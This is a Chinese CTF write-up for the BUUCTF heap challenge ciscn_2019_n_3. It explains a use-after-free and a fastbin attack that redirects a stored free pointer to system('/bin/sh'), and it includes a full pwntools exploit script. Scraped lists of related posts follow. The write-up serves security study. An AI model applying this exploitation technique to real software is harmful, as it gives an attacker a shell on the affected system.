ciscn_2019_n_3

附件

步骤

  1. 例行检查,32位,开启了nx和canary保护

  2. 本地试运行一下,经典的堆题的菜单

    3.32位ida载入
    new(),申请了两个chunk,第一个chunk(13行)固定大小0xC,存放的是rec_int_print和rec_int_free函数的地址,第二个chunk(32行),是我们申请的chunk

    del()

    如果值是整数,直接 free chunk

    如果值是字符串,则 chunk 和存储字符串的 chunk 都要 free。注意这里只是进行了 free 操作,没有将指针置 0,存在uaf漏洞

    dump()

    调用rec_int_print或者rec_str_print函数打印

  3. 利用思路:
    由于本题将printf和free函数的指针都放在了申请的堆上,而且程序调用了system函数因此我们就不用double free来泄露libc基址了,我们可以利用fastbin的LIFO的机制,取得对存放指针的堆块的控制,修改free指针指向system@plt,触发 del 函数中的 free(*(ptr + 2)),即执行 system(’/bin/sh’),可以获取shell

首先申请两个chunk看一下大概的布局

new(0,2,'a'*10,0x88)
new(1,2,'b'*10,0x38)
new(2,1,0x41)
gdb.attach(p)

我们现在要利用 chunk 1 和 chunk 2 进行 fastbin attack 将 chunk 1 的 rec_str_free 覆盖为 system 的 plt 表

dele(1)
dele(2)
new(3,2,'bash'+p32(elf.plt['system']),0xc)



看到chunk1的rec_str_free地址已经被我们改成了system的plt表里的地址

接着把 /bin/sh 写入 chunk 1 的 string 对应的 chunk 中

new(4,2,'/bin/sh\x00',0x38)

然后执行dele(chunk1),本该是free(*(ptr + 2)),但是上方我们修改了free的地址,这里相当于执行 system(’/bin/sh’)

dele(1)

成功获取了shell

完整exp:

from pwn import *

#p=remote("node3.buuoj.cn",28200)
p = process("./ciscn_2019_n_3")
context.log_level = 'debug'
context.arch = 'x86' elf = ELF("./ciscn_2019_n_3") def new(idx,type,value,length=0):
p.recvuntil("CNote")
p.sendline(str(1))
p.recvuntil("Index")
p.sendline(str(idx))
p.recvuntil("Type")
p.sendline(str(type))
if type == 1:
p.recvuntil("Value")
p.sendline(str(value))
else:
p.recvuntil("Length")
p.sendline(str(length))
p.recvuntil("Value")
if length == 8:
p.send(value)
else:
p.sendline(value) def dele(idx):
p.recvuntil("CNote")
p.sendline(str(2))
p.recvuntil("Index")
p.sendline(str(idx)) def show(idx):
p.recvuntil("CNote")
p.sendline(str(3))
p.recvuntil("Index")
p.sendline(str(idx)) new(0,2,'a'*10,0x88)
new(1,2,'b'*10,0x38)
new(2,1,0x41)
#gdb.attach(p) dele(1)
dele(2)
new(3,2,'bash'+p32(elf.plt['system']),0xc)
#gdb.attach(p) new(4,2,"/bin/sh\x00",0x38)
dele(1) p.interactive()

[BUUCTF]PWN——ciscn_2019_n_3的更多相关文章

  1. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  2. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  3. BUUCTF pwn一分题目

    因为以前做过一些题目,看见1分题目也不太多了,就想着,抓紧点把1分题都刷一下吧.所以开个帖子记录一下,题目简单的话就只贴exp了. [BJDCTF 2nd]secret 这里有一个输入可以进行溢出,n ...

  4. [BUUCTF]PWN——hitcontraining_uaf

    [BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...

  5. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  6. buuctf --pwn part2

    pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...

  7. buuctf pwn wp---part1

    pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...

  8. [BUUCTF]PWN——pwnable_hacknote

    pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...

  9. [BUUCTF]PWN——ciscn_2019_es_7[详解]

    ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...

随机推荐

  1. [cf1491F]Magnets

    首先,只需要找到一个有磁性的位置,就可以通过$n-1$次判断其余磁铁是否有磁性,因此也就是要在$\lfloor\log_{2}n\rfloor+1$次中找到一个有磁性的位置 有一个$n-1$次的做法, ...

  2. [bzoj5416]冒泡排序

    结论:一个序列是好序列当且仅当其不存在长度为3的下降子序列 证明:考虑提示,一个长度为3的下降子序列必然会交换三次, 而这三次带来的收益实际上只有2,因此不合法 同时还可以得到:第i个数,要么是前缀最 ...

  3. go程序不停机重启

    让我们给http服务写一个版本更新接口,让它自动更新版本并重启服务吧. 初步例子 注:为了精简,文中代码都去除了err处理 main.go var Version = "1.0" ...

  4. 【JavaSE】JDK配置

    Java开发环境配置 2020-09-10  08:32:20  by冲冲 1. Windows7安装JDK 1.1 下载JDK ① 下载地址:http://www.oracle.com/techne ...

  5. win10 如何查看本地连接的WIFI密码

    1 在状态栏右侧找到WIFI图标,右键WIFI图标,打开"网路和 Internet"设置 2 切换到 "状态"或"WLAN",找到" ...

  6. 解决texlive化学式转换镜像经常偶发性进程堆积导致卡顿问题

    前言 之前在 使用Python定时清理运行超时的pdflatex僵尸进程 博文中我采用python脚本开启定时任务清理pdflatex僵尸进程,线上4u2G的k8s pod部署了3个,pdflatex ...

  7. R语言与医学统计图形-【23】ggplot2坐标系转换函数

    ggplot2绘图系统--坐标系转换函数 包括饼图.环状条图.玫瑰图.戒指图.坐标翻转. 笛卡尔坐标系(最常见). ArcGIS地理坐标系(地图). Cartesian坐标系. polar极坐标系. ...

  8. 38- Majority Element

    Majority Element My Submissions QuestionEditorial Solution Total Accepted: 110538 Total Submissions: ...

  9. 听老外吐槽框架设计,Why I Hate Frameworks?

    原创:微信公众号 码农参上,欢迎分享,转载请保留出处. Hello,小伙伴们,今天不聊技术,分享点有意思的东西.前段时间,表弟给我发过来一篇老外写的文章,以略带讽刺的对话方式调侃了自己对框架的看法,我 ...

  10. mysql数据查询语言DQL

    DB(database)数据库:存储数据的'仓库',保存了一系列有组织的数据 DBMS(Database Management System)数据库管理系统:用于创建或管理DB SQL(Structu ...